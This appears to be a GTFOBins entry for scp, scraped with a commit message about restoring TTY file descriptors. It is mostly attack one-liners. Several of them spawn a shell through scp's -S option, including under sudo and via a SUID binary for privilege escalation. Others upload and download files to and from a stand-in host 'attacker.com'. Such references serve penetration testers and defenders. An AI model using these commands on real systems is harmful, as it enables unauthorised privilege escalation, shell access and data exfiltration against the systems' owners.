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GTFOBins.github.io/_gtfobins/scp.md
Andrea Cardaci 8eaf595fe6 Make interactive execute whenever possible 
Here the trick is to restore those file descriptors (0, 1, 2) that have been
redirected (`dup2`) by the parent process.

First we need to determine which one has been redirected, for example by looking
at `ls -l /proc/$$/fd/`. Then we can use `0<&x`, `1>&x` or `2>&x` to restore 0,
1 or 2 respectively, where `x` is any file descriptor number that points to the
TTY.

It may happen that no file descriptor is unchanged, in that case we can use
`tty` to perform the redirection: sh <$(tty) >$(tty) 2>$(tty)
2018-09-07 01:11:06 +02:00

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functions
execute-interactive upload download sudo-enabled suid-limited
code
TF=$(mktemp) echo 'sh 0<&2 1>&2' > $TF chmod +x "$TF" scp -S $TF x y:
description code
Send local file to a SSH server. RPATH=user@attacker.com:~/file_to_save LPATH=file_to_send scp $LFILE $RPATH
description code
Fetch a remote file from a SSH server. RPATH=user@attacker.com:~/file_to_get LFILE=file_to_save scp $RPATH $LFILE
code
TF=$(mktemp) echo 'sh 0<&2 1>&2' > $TF chmod +x "$TF" sudo scp -S $TF x y:
code
TF=$(mktemp) echo 'sh 0<&2 1>&2' > $TF chmod +x "$TF" ./scp -S $TF a b: